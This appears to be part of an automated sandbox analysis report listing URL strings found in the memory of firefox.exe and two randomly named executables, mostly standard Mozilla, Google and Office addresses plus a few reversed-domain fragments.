Source: firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/firefox-relay-integration
Source: firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/password-manager-report
Source: firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/search-engine-removal
Source: firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/send-tab
Source: firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/shield
Source: firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/social-media-tracking-report
Source: firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/tracking-content-report
Source: firefox.exe, 0000001A.00000002.2974318304.000001F5DBF9B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/1/firefox/118.0.1/WINNT/en-US/
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5DE0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2999734335.000001F5E21E0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/kb/captive-portal
Source: 22a4a09ee3.exe, 0000000B.00000003.2834485788.0000000005EE8000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: firefox.exe, 0000001A.00000002.2903734560.000001F5D5C13000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/kb/fix-video-audio-problems-firefox-windows
Source: firefox.exe, 0000001A.00000002.3010265632.000001F5E3A03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2966905392.000001F5DA917000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/kb/refresh-firefox-reset-add-ons-and-settings
Source: 8c3bfc0f85.exe, 0000000A.00000002.3014657915.0000000000297000.00000040.00000001.01000000.0000000B.sdmp String found in binary or memory: https://support.mozilla.org/products/firefox
Source: 22a4a09ee3.exe, 0000000B.00000003.2834485788.0000000005EE8000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: 8c3bfc0f85.exe, 0000000A.00000002.3076950569.00000000234D3000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF
Source: 22a4a09ee3.exe, 00000009.00000003.2615951146.0000000005919000.00000004.00000800.00020000.00000000.sdmp, 22a4a09ee3.exe, 00000009.00000003.2640095915.0000000005919000.00000004.00000800.00020000.00000000.sdmp, 22a4a09ee3.exe, 00000009.00000003.2615858798.0000000005920000.00000004.00000800.00020000.00000000.sdmp, 8c3bfc0f85.exe, 0000000A.00000003.2841871958.000000001D15D000.00000004.00000020.00020000.00000000.sdmp, 8c3bfc0f85.exe, 0000000A.00000002.3014657915.00000000001B4000.00000040.00000001.01000000.0000000B.sdmp, 22a4a09ee3.exe, 0000000B.00000003.2767890045.0000000005E15000.00000004.00000800.00020000.00000000.sdmp, 22a4a09ee3.exe, 0000000B.00000003.2767599531.0000000005E1C000.00000004.00000800.00020000.00000000.sdmp, 22a4a09ee3.exe, 0000000B.00000003.2790081284.0000000005E15000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: 8c3bfc0f85.exe, 0000000A.00000002.3014657915.00000000001B4000.00000040.00000001.01000000.0000000B.sdmp String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016.exe
Source: 22a4a09ee3.exe, 00000009.00000003.2615951146.00000000058F4000.00000004.00000800.00020000.00000000.sdmp, 22a4a09ee3.exe, 0000000B.00000003.2767890045.0000000005DF0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples
Source: 22a4a09ee3.exe, 00000009.00000003.2615951146.0000000005919000.00000004.00000800.00020000.00000000.sdmp, 22a4a09ee3.exe, 00000009.00000003.2640095915.0000000005919000.00000004.00000800.00020000.00000000.sdmp, 22a4a09ee3.exe, 00000009.00000003.2615858798.0000000005920000.00000004.00000800.00020000.00000000.sdmp, 8c3bfc0f85.exe, 0000000A.00000003.2841871958.000000001D15D000.00000004.00000020.00020000.00000000.sdmp, 8c3bfc0f85.exe, 0000000A.00000002.3014657915.00000000001B4000.00000040.00000001.01000000.0000000B.sdmp, 22a4a09ee3.exe, 0000000B.00000003.2767890045.0000000005E15000.00000004.00000800.00020000.00000000.sdmp, 22a4a09ee3.exe, 0000000B.00000003.2767599531.0000000005E1C000.00000004.00000800.00020000.00000000.sdmp, 22a4a09ee3.exe, 0000000B.00000003.2790081284.0000000005E15000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: 22a4a09ee3.exe, 00000009.00000003.2615951146.00000000058F4000.00000004.00000800.00020000.00000000.sdmp, 22a4a09ee3.exe, 0000000B.00000003.2767890045.0000000005DF0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install
Source: 8c3bfc0f85.exe, 0000000A.00000002.3014657915.00000000001B4000.00000040.00000001.01000000.0000000B.sdmp String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17chost.exe
Source: firefox.exe, 0000001A.00000002.3001723080.000001F5E2223000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://tc39.github.io/ecma262/#sec-typeof-operator
Source: firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://token.services.mozilla.com/1.0/sync/1.5
Source: firefox.exe, 0000001A.00000002.2903734560.000001F5D5C13000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2960672803.000001F5DA150000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-2
Source: firefox.exe, 0000001A.00000002.2903734560.000001F5D5C13000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2960672803.000001F5DA150000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-3.1
Source: firefox.exe, 0000001A.00000002.2903734560.000001F5D5C13000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2960672803.000001F5DA150000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-4
Source: firefox.exe, 0000001A.00000002.2903734560.000001F5D5C13000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2960672803.000001F5DA150000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://tools.ietf.org/html/rfc7515#appendix-C)
Source: firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://topsites.services.mozilla.com/cid/
Source: firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://tracking-protection-issues.herokuapp.com/new
Source: firefox.exe, 0000001A.00000002.2907811330.000001F5D6AE9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2948051359.000001F5D942B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://truecolors.firefox.com
Source: firefox.exe, 0000001A.00000002.3011560963.0000035AA7C04000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://twitter.com
Source: firefox.exe, 0000001A.00000002.3013540384.000029EDE2B00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2901178326.000001F5D5326000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2907811330.000001F5D6A5D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2994497967.000001F5E1E62000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://twitter.com/
Source: firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://versioncheck-bg.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM
Source: firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://versioncheck.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM_ID
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5DE0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://vk.com/
Source: firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://vpn.mozilla.org/?utm_source=firefox-browser&utm_medium=firefox-%CHANNEL%-browser&utm_campaig
Source: firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://vpn.mozilla.org/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_campaign=about-pr
Source: firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://webcompat.com/issues/new
Source: firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://webextensions.settings.services.mozilla.com/v1
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5D26000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2994497967.000001F5E1E9C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://webpack.js.org/concepts/mode/)
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5DE0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://weibo.com/
Source: firefox.exe, 0000001A.00000003.2859805573.000001F5E2223000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3001723080.000001F5E2223000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://wicg.github.io/construct-stylesheets/#using-constructed-stylesheets).
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5DE0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.aliexpress.com/
Source: firefox.exe, 0000001A.00000002.3013540384.000029EDE2B00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2994497967.000001F5E1E62000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.amazon.com/
Source: firefox.exe, 0000001A.00000002.2901178326.000001F5D53AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2901178326.000001F5D5326000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2907811330.000001F5D6A5D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2907811330.000001F5D6A04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2875199555.0000014CC86C8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.2875888306.0000020775BF0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5D03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2778891754.000001F5D9777000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2955392353.000001F5D9990000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000003.2769996475.000001F5D9500000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2777223406.000001F5D971F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2778516535.000001F5D975A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.amazon.com/exec/obidos/external-search/
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5D79000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.amazon.com/exec/obidos/external-search/chrome://extensions/content/schemas/browsing_data
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5DE0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.avito.ru/
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5DE0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.baidu.com/
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5DE0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.ctrip.com/
Source: 22a4a09ee3.exe, 00000009.00000003.2614717788.000000000590B000.00000004.00000800.00020000.00000000.sdmp, 22a4a09ee3.exe, 00000009.00000003.2614559010.000000000590D000.00000004.00000800.00020000.00000000.sdmp, 22a4a09ee3.exe, 0000000B.00000003.2759142674.0000000005DEF000.00000004.00000800.00020000.00000000.sdmp, 22a4a09ee3.exe, 0000000B.00000003.2766702537.0000000005DD8000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.ecosia.org/newtab/
Source: firefox.exe, 0000001A.00000002.2901178326.000001F5D53AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2901178326.000001F5D5326000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2907811330.000001F5D6A5D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2907811330.000001F5D6A04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2875199555.0000014CC86C8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.2875888306.0000020775BF0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.expedia.com/?locale=en_US&siteid=1&semcid=US.UB.ADMARKETPLACE.GT-C-EN.HOTEL&SEMDTL=a1219
Source: firefox.exe, 0000001A.00000002.2997556881.000001F5E204F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2997556881.000001F5E2094000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/
Source: firefox.exe, 0000001A.00000002.2999734335.000001F5E2151000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/complete/
Source: firefox.exe, 0000001A.00000003.2853261001.000001F5E1FCE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2999734335.000001F5E215F000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/complete/search
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5D79000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2778891754.000001F5D9777000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2955392353.000001F5D9990000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000003.2769996475.000001F5D9500000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2777223406.000001F5D971F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2778516535.000001F5D975A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/complete/search?client=firefox&q=
Source: 22a4a09ee3.exe, 00000009.00000003.2614717788.000000000590B000.00000004.00000800.00020000.00000000.sdmp, 22a4a09ee3.exe, 00000009.00000003.2614559010.000000000590D000.00000004.00000800.00020000.00000000.sdmp, 22a4a09ee3.exe, 0000000B.00000003.2759142674.0000000005DEF000.00000004.00000800.00020000.00000000.sdmp, 22a4a09ee3.exe, 0000000B.00000003.2766702537.0000000005DD8000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5D03000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/policies/privacy/
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5D03000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/policies/privacy/resource://gre/modules/GMPUtils.sys.mjsresource://gre/module
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5D03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2778891754.000001F5D9777000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2955392353.000001F5D9990000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000003.2769996475.000001F5D9500000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2777223406.000001F5D971F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2778516535.000001F5D975A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/search
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5D79000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/searchINHIBIT_PERSISTENT_CACHINGq=
Source: firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://www.googleapis.com/geolocation/v1/geolocate?key=%GOOGLE_LOCATION_SERVICE_API_KEY%
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5DE0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.ifeng.com/
Source: firefox.exe, 0000001A.00000002.2972219570.000001F5DBCDF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2904499352.000001F5D5DE0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.iqiyi.com/
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5DE0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.iqiyi.com/MAX(EXISTS(
Source: firefox.exe, 0000001A.00000002.2907811330.000001F5D6AA0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2885865111.00000090E723B000.00000004.00000010.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2907811330.000001F5D6A48000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org
Source: firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/%LOCALE%/about/legal/terms/subscription-services/
Source: firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/%VERSION%/releasenotes/?utm_source=firefox-browser&utm_medi
Source: firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/%VERSION%/tour/
Source: firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/geolocation/
Source: firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/new?reason=manual-update
Source: firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/notes
Source: firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/set-as-default/thanks/
Source: firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/xr/
Source: firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/%LOCALE%/privacy/subscription-services/
Source: 8c3bfc0f85.exe, 0000000A.00000002.3014657915.0000000000297000.00000040.00000001.01000000.0000000B.sdmp String found in binary or memory: https://www.mozilla.org/about/
Source: 8c3bfc0f85.exe, 0000000A.00000002.3014657915.0000000000297000.00000040.00000001.01000000.0000000B.sdmp String found in binary or memory: https://www.mozilla.org/about/Mozilla
Source: 22a4a09ee3.exe, 0000000B.00000003.2834485788.0000000005EE8000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: 8c3bfc0f85.exe, 0000000A.00000002.3014657915.0000000000297000.00000040.00000001.01000000.0000000B.sdmp String found in binary or memory: https://www.mozilla.org/about/t.exe
Source: 8c3bfc0f85.exe, 0000000A.00000002.3014657915.0000000000297000.00000040.00000001.01000000.0000000B.sdmp String found in binary or memory: https://www.mozilla.org/contribute/
Source: 22a4a09ee3.exe, 0000000B.00000003.2834485788.0000000005EE8000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: 8c3bfc0f85.exe, 0000000A.00000002.3014657915.0000000000297000.00000040.00000001.01000000.0000000B.sdmp String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: 22a4a09ee3.exe, 00000009.00000003.2670963873.00000000059ED000.00000004.00000800.00020000.00000000.sdmp, 8c3bfc0f85.exe, 0000000A.00000002.3076950569.00000000234D3000.00000004.00000020.00020000.00000000.sdmp, 22a4a09ee3.exe, 0000000B.00000003.2834485788.0000000005EE8000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: 8c3bfc0f85.exe, 0000000A.00000002.3014657915.0000000000297000.00000040.00000001.01000000.0000000B.sdmp String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Profiles
Source: 22a4a09ee3.exe, 0000000B.00000003.2834485788.0000000005EE8000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/firefox/android/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_c
Source: firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/firefox/ios/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_campa
